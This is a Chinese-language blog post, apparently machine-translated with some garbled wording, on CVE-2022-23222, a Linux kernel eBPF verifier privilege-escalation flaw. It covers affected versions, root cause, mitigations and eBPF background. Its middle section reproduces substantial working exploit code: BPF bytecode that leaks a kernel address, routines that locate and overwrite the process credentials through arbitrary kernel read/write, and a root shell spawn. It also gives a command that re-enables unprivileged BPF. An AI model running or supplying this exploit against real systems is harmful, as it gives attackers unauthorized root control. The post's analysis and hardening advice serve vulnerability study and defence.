关于安全:CVE202223222linux内核提权漏洞

4次阅读

共计 9826 个字符,预计需要花费 25 分钟才能阅读完成。

一、影响版本

linux 内核 5.8 – 5.16

二、修复版本

此破绽影响 Linux Kernel 5.8 – 5.16,并在 5.10.92 /5.13.0-32/ 5.15.15 / 5.16.1 中修复。

三、复现

1、原理

------------------------------------------------------------------------------------------------

上面的代码中 adjust_ptr_min_max_vals()是 eBPF verifier 用于测验指针加减运算的函数。其中的 switch 分支
用于过滤不反对加减运算的指针类型,比方各种 OR_NULL 类型。然而这个 switch 分支却少了很多类型的判断,比
如 `PTR_TO_MEM_OR_NULL`, `PTR_TO_RDONLY_BUF_OR_NULL`, `PTR_TO_RDWR_BUF_OR_NULL`。这意味着,咱们能够对一些 OR_NULL 类型做加减运算!* C *
------------------------------------------------------------------------------------------------
/* Handles arithmetic on a pointer and a scalar: computes new min/max and var_off.
 * Caller should also handle BPF_MOV case separately.
 * If we return -EACCES, caller may want to try again treating pointer as a
 * scalar.  So we only emit a diagnostic if !env->allow_ptr_leaks.
 */
static int adjust_ptr_min_max_vals(struct bpf_verifier_env *env,
                   struct bpf_insn *insn,
                   const struct bpf_reg_state *ptr_reg,
                   const struct bpf_reg_state *off_reg)
{
...
    switch (ptr_reg->type) {
    case PTR_TO_MAP_VALUE_OR_NULL:
        verbose(env, "R%d pointer arithmetic on %s prohibited, null-check it first\n",
            dst, reg_type_str[ptr_reg->type]);
        return -EACCES;
    case CONST_PTR_TO_MAP:
        /* smin_val represents the known value */
        if (known && smin_val == 0 && opcode == BPF_ADD)
            break;
        fallthrough;
    case PTR_TO_PACKET_END:
    case PTR_TO_SOCKET:
    case PTR_TO_SOCKET_OR_NULL:
    case PTR_TO_SOCK_COMMON:
    case PTR_TO_SOCK_COMMON_OR_NULL:
    case PTR_TO_TCP_SOCK:
    case PTR_TO_TCP_SOCK_OR_NULL:
    case PTR_TO_XDP_SOCK:
        verbose(env, "R%d pointer arithmetic on %s prohibited\n",
            dst, reg_type_str[ptr_reg->type]);
        return -EACCES;
    default:
        break;
    }
...
    return 0;
}

2、前置条件

  • 本次试验选取了 linux 内核 5.10.5-051005 的版本来复现问题,其余版本是否有问题能够自行尝试
    Linux ubuntu 5.10.5-051005-generic #202101061537 SMP Wed Jan 6 15:43:53 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
  • 内核版本下载

    https://kernel.ubuntu.com/~kernel-ppa/mainline/
  • 其余的某些版本可能须要执行以下命令
    echo 0 >/proc/sys/kernel/unprivileged_bpf_disabled

3、利用代码
残缺利用代码见 https://github.com/tr3ee/CVE-…
要害代码及思路

  • 在所有 *_OR_NULL 类型中,咱们通过 BPF_FUNC_ringbuf_reserve 创立 PTR_TO_MEM_OR_NULL 类型。首先, 咱们将 0 xffff…ffff 传递给 BPF_FUNC_ringbuf_reserve 以取得一个空指针 r0,而后将 r0 复制到 r1。而后 r1 加 1,而后对 r0 进行 NULL 查看。此时,bpf verify 会置信这一点 r0 和 r1 都是 0。
  • 为了绕过 ALU sanitation(为了应答因为验证程序中的谬误导致的大量安全漏洞,引入了一种称为“ALU Sanitation”的性能。其思路是,通过对程序正在解决的理论值进行运行时查看,来补救验证程序的动态范畴查看),咱们应用帮忙性能 bpf_skb_load_bytes_* 去局部 / 全副的笼罩堆栈上的指针以取得指针地址透露和任意地址读写。
  • 咱们生成了许多子过程,并应用任意地址读取找到 task_struct 的地址,并在地址四周找到 cred
    咱们创立的数组映射。通过清空 uid/gid/…,取得残缺的 root 权限。
int do_leak(context_t *ctx)
{
    int ret = -1;
    struct bpf_insn insn[] = {
        // r9 = r1
        BPF_MOV64_REG(BPF_REG_9, BPF_REG_1),

        // r0 = bpf_lookup_elem(ctx->comm_fd, 0)
        BPF_LD_MAP_FD(BPF_REG_1, ctx->comm_fd),
        BPF_ST_MEM(BPF_DW, BPF_REG_10, -8, 0),
        BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),
        BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),

        // if (r0 == NULL) exit(1)
        BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 2),
        BPF_MOV64_IMM(BPF_REG_0, 1),
        BPF_EXIT_INSN(),

        // r8 = r0
        BPF_MOV64_REG(BPF_REG_8, BPF_REG_0),

        // r0 = bpf_ringbuf_reserve(ctx->ringbuf_fd, PAGE_SIZE, 0)
        BPF_LD_MAP_FD(BPF_REG_1, ctx->ringbuf_fd),
        BPF_MOV64_IMM(BPF_REG_2, PAGE_SIZE),
        BPF_MOV64_IMM(BPF_REG_3, 0x00),
        BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_reserve),

        BPF_MOV64_REG(BPF_REG_1, BPF_REG_0),
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, 1),

        // if (r0 != NULL) {ringbuf_discard(r0, 1); exit(2); }
        BPF_JMP_IMM(BPF_JEQ, BPF_REG_0, 0, 5),
        BPF_MOV64_REG(BPF_REG_1, BPF_REG_0),
        BPF_MOV64_IMM(BPF_REG_2, 1),
        BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_discard),
        BPF_MOV64_IMM(BPF_REG_0, 2),
        BPF_EXIT_INSN(),

        // verifier believe r0 = 0 and r1 = 0. However, r0 = 0 and  r1 = 1 on runtime.

        // r7 = r1 + 8
        BPF_MOV64_REG(BPF_REG_7, BPF_REG_1),
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 8),

        // verifier believe r7 = 8, but r7 = 9 actually.

        // store the array pointer (0xFFFF..........10 + 0xE0)
        BPF_MOV64_REG(BPF_REG_6, BPF_REG_8),
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_6, 0xE0),
        BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_6, -8),

        // partial overwrite array pointer on stack

        // r0 = bpf_skb_load_bytes_relative(r9, 0, r8, r7, 0)
        BPF_MOV64_REG(BPF_REG_1, BPF_REG_9),
        BPF_MOV64_IMM(BPF_REG_2, 0),
        BPF_MOV64_REG(BPF_REG_3, BPF_REG_10),
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, -16),
        BPF_MOV64_REG(BPF_REG_4, BPF_REG_7),
        BPF_MOV64_IMM(BPF_REG_5, 1),
        BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_skb_load_bytes_relative),

        // r6 = 0xFFFF..........00 (off = 0xE0)
        BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_10, -8),
        BPF_ALU64_IMM(BPF_SUB, BPF_REG_6, 0xE0),

        
        // map_update_elem(ctx->comm_fd, 0, r6, 0)
        BPF_LD_MAP_FD(BPF_REG_1, ctx->comm_fd),
        BPF_MOV64_REG(BPF_REG_2, BPF_REG_8),
        BPF_MOV64_REG(BPF_REG_3, BPF_REG_6),
        BPF_MOV64_IMM(BPF_REG_4, 0),
        BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_update_elem),

        BPF_MOV64_IMM(BPF_REG_0, 0),
        BPF_EXIT_INSN()};

    int prog = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, insn, sizeof(insn) / sizeof(insn[0]), "");
    if (prog < 0) {WARNF("Could not load program(do_leak):\n %s", bpf_log_buf);
        goto abort;
    }

    int err = bpf_prog_skb_run(prog, ctx->bytes, 8);

    if (err != 0) {WARNF("Could not run program(do_leak): %d (%s)", err, strerror(err));
        goto abort;
    }

    int key = 0;
    err = bpf_lookup_elem(ctx->comm_fd, &key, ctx->bytes);
    if (err != 0) {WARNF("Could not lookup comm map: %d (%s)", err, strerror(err));
        goto abort;
    }
    
    u64 array_map = (u64)ctx->ptrs[20] & (~0xFFL);
    if ((array_map&0xFFFFF00000000000) != 0xFFFF800000000000) {WARNF("Could not leak array map: got %p", (kaddr_t)array_map);
        goto abort;
    }

    ctx->array_map = (kaddr_t)array_map;
    DEBUGF("array_map @ %p", ctx->array_map);

    ret = 0;

abort:
    if (prog > 0) close(prog);
    return ret;
}

int spawn_processes(context_t *ctx)
{for (int i = 0; i < PROC_NUM; i++)
    {pid_t child = fork();
        if (child == 0) {if (prctl(PR_SET_NAME, __ID__, 0, 0, 0) != 0) {WARNF("Could not set name");
            }
            uid_t old = getuid();
            kill(getpid(), SIGSTOP);
            uid_t uid = getuid();
            if (uid == 0 && old != uid) {OKF("Enjoy root!");
                system("/bin/sh");
            }
            exit(uid);
        }
        if (child < 0) {return child;}
        ctx->processes[i] = child;
    }

    return 0;
}

int find_cred(context_t *ctx)
{for (int i = 0; i < PAGE_SIZE*PAGE_SIZE ; i++)
    {
        u64 val = 0;
        kaddr_t addr = ctx->array_map + PAGE_SIZE + i*0x8;
        if (arbitrary_read(ctx, addr, &val, BPF_DW) != 0) {WARNF("Could not read kernel address %p", addr);
            return -1;
        }

        // DEBUGF("addr %p = 0x%016x", addr, val);

        if (memcmp(&val, __ID__, sizeof(val)) == 0) {
            kaddr_t cred_from_task = addr - 0x10;
            
            if (arbitrary_read(ctx, cred_from_task + 8, &val, BPF_DW) != 0) {WARNF("Could not read kernel address %p + 8", cred_from_task);
                return -1;
            }

            if (val == 0 && arbitrary_read(ctx, cred_from_task, &val, BPF_DW) != 0) {WARNF("Could not read kernel address %p + 0", cred_from_task);
                return -1;
            }

            if (val != 0) {ctx->cred = (kaddr_t)val;
                DEBUGF("task struct ~ %p", cred_from_task);
                DEBUGF("cred @ %p", ctx->cred);
                return 0;
            }
            

        }
    }
    
    return -1;
}

int overwrite_cred(context_t *ctx)
{if (arbitrary_write(ctx, ctx->cred + OFFSET_uid_from_cred, 0, BPF_W) != 0) {return -1;}
    if (arbitrary_write(ctx, ctx->cred + OFFSET_gid_from_cred, 0, BPF_W) != 0) {return -1;}
    if (arbitrary_write(ctx, ctx->cred + OFFSET_euid_from_cred, 0, BPF_W) != 0) {return -1;}
    if (arbitrary_write(ctx, ctx->cred + OFFSET_egid_from_cred, 0, BPF_W) != 0) {return -1;}

    return 0;
}

int spawn_root_shell(context_t *ctx)
{for (int i = 0; i < PROC_NUM; i++)
    {kill(ctx->processes[i], SIGCONT);
    }
    while(wait(NULL) > 0);

    return 0;
}

int clean_up(context_t *ctx)
{close(ctx->comm_fd);
    close(ctx->arbitrary_read_prog);
    close(ctx->arbitrary_write_prog);
    kill(0, SIGCONT);
    return 0;
}

phase_t phases[] = {{ .name = "create bpf map(s)", .func = create_bpf_maps },
    {.name = "do some leak", .func = do_leak},
    {.name = "prepare arbitrary rw", .func = prepare_arbitrary_rw},
    {.name = "spawn processes", .func = spawn_processes},
    {.name = "find cred (slow)", .func = find_cred },
    {.name = "overwrite cred", .func = overwrite_cred},
    {.name = "spawn root shell", .func = spawn_root_shell},
    {.name = "clean up the mess", .func = clean_up , .ignore_error = 1},
};

int main(int argc, char** argv)
{context_t ctx = {};
    int err = 0;
    int max = sizeof(phases) / sizeof(phases[0]);
    if (getuid() == 0) {BADF("You are already root, exiting...");
        return -1;
    }
    for (int i = 1; i <= max; i++)
    {phase_t *phase = &phases[i-1];
        if (err != 0 && !phase->ignore_error) {ACTF("phase(%d/%d)'%s'skipped", i, max, phase->name);
            continue;
        }
        ACTF("phase(%d/%d)'%s'running", i, max, phase->name);
        int error = phase->func(&ctx);
        if (error != 0) {BADF("phase(%d/%d)'%s'return with error %d", i, max, phase->name, error);
            err = error;
        } else {OKF("phase(%d/%d)'%s'done", i, max, phase->name);
        }
    }
    return err;
}

4、成果

四、防备

  1. 非 root 用户不赋予 CAP_BPF 及 CAP_SYS_ADMIN
    注:3.15 – 5.7 内核不赋予 CAP_SYS_ADMIN 即可 5.8 及当前内核须要同时不存在 CAP_BPF 及 CAP_SYS_ADMIN 权限
  2. 非 root 用户禁止调用 ebpf 性能 /proc/sys/kernel/unprivileged_bpf_disabled 设置为 1

    1. 值为 0 示意容许非特权用户调用 bpf
    2. 值为 1 示意禁止非特权用户调用 bpf 且该值不可再批改,只能重启后批改
    3. 值为 2 示意禁止非特权用户调用 bpf,能够再次批改为 0 或 1

五、背景常识
Linux 内核 4 的公布提供了一种新的办法,称为 eBPF 技术。eBPF 下,内核蕴含了一个沙箱环境,能够让 BPF 字节码运行,这能够影响内核并应用内核资源——但实际上不会扭转内核自身。
![上传中 …]()
eBPF 程序被加载到 Linux 环境中,并应用特定的触发器事件,称为 hook。hook 包含网络事件实例、内核跟踪点和内核函数。当遇到 hook 时,相应的 eBPF 代码被编译、验证和执行。
在加载到内核之前,eBPF 程序必须通过一组特定的查看。验证波及在虚拟机中执行 eBPF 程序,这样做容许具备 10,000 多行代码的验证器执行一系列查看。验证器将遍历 eBPF 程序在内核中执行时可能采纳的潜在门路,确保程序的确运行实现而没有任何循环。
最终,eBPF 让程序员能够在 Linux 内核中平安地执行自定义字节码,而无需批改或增加内核源代码。eBPF 程序引入了自定义代码来与受爱护的硬件资源交互,对内核的危险最小。

5.1 eBPF 常识
eBPF 是一个基于寄存器的虚拟机,共有 11 个 64 位寄存器,一个程序计数器和 512 字节的固定大小的栈。9 个寄存器是通用读写的,1 个是只读栈指针,程序计数器是隐式的,也就是说,咱们只能跳转到它的某个偏移量。eBPF 应用自定义的 64 位 RISC 指令集,可能在 Linux 内核内运行即时本地编译的“BPF 程序”,并能拜访内核性能和内存的一个子集。这是一个残缺的虚拟机实现,不要与基于内核的虚拟机(KVM)相混同,后者是一个模块,目标是使 Linux 可能作为其余虚拟机的管理程序。eBPF 也是主线内核的一部分,所以它不像其余框架那样须要任何第三方模块(LTTng 或 SystemTap),而且简直所有的 Linux 发行版都默认启用。

寄存器 性能
r0 存储返回值,包含函数调用和以后程序退出代码
r1-r5 作为函数调用参数应用,在程序启动时,r1 蕴含 “ 上下文 ” 参数指针
r6-r9 这些在内核函数调用之间被保留下来
r10 每个 eBPF 程序 512 字节栈的只读指针

eBPF 反对在用户态将 C 语言编写的一小段“内核代码”注入到内核中运行,注入时要先用 llvm 编译失去应用 BPF 指令集的 ELF 文件,而后从 ELF 文件中解析出能够注入内核的局部,最初用 bpf_load_program() 办法实现注入。用户态程序和注入到内核中的程序通过共用一个位于内核的 eBPF MAP 实现通信。为了避免注入的代码导致内核解体,eBPF 会对注入的代码进行严格查看,回绝不合格的代码的注入。

5.2 编写一个 eBPF 程序的流程

  1. 编写 eBPF 程序,并编译成字节码,目前只能应用 CLANG 和 LLVM 编译成 eBPF 字节码
  2. 将 eBPF 程序加载到内核中,内核会校验字节码防止内核解体
  3. 将内核事件与 eBPF 程序进行关联
  4. 内核事件产生时,eBPF 程序执行,发送信息给用户态程序
  5. 用户态程序读取相干信息

用工具能够简化这些流程

  1. BCC(python)
    BCC 其实就提供了对 eBPF 的封装,前端提供 Python API,而后端的 eBPF 程序还是通过 C 来实现。在运行的时候,BCC 会把 eBPF 程序编译成字节码、加载到内核执行,最初再通过用户空间的前端获取执行状态。
    BCC 的长处就是简略易用,但也有很多毛病:
  2. 启动时编译,导致启动迟缓,且编译也须要消耗较高的 CPU 和内存资源。
  3. 编译 eBPF 要求所有主机上都装置内核头文件。
  4. 编译谬误只有在运行的时候能力检测到,排错艰难。
    因为这些问题存在,BCC 正在基于 libbpf 将所有工具 转换 为可间接执行的二进制文件,无需内部依赖,从而更易散发到理论生产环境中。转换后的工具,因无需动静编译和接口转换,能够取得更高的性能和更少的资源占用。
  5. libbpf-bootstrap
    libbpf 在应用上并不是很直观,所以 eBPF 维护者开发了一个脚手架我的项目 libbpf-bootstrap。它联合了 BPF 社区的最佳开发实际,为初学者提供了一个简略易用的上手框架。
  6. 内核源码
    除了以上两种办法,最初一种门槛更高一些的办法是从内核源码中间接编译 BPF 程序。这种办法须要对内核编译有肯定理解,且须要长于使用搜索引擎解决编译过程中的各种问题。(见参考资料 2)

    eBPF 个性

参考文档

  1. https://houmin.cc/posts/f9d03…
  2. https://zhuanlan.zhihu.com/p/…
  3. https://segmentfault.com/a/11…
  4. http://just4coding.com/2022/0… c 写一个 ebpf 程序
  5. https://arthurchiao.art/blog/… 比拟全面
  6. http://just4coding.com/2022/0… 进阶
  7. https://www.ebpf.top/post/ebp… 原理
正文完
 0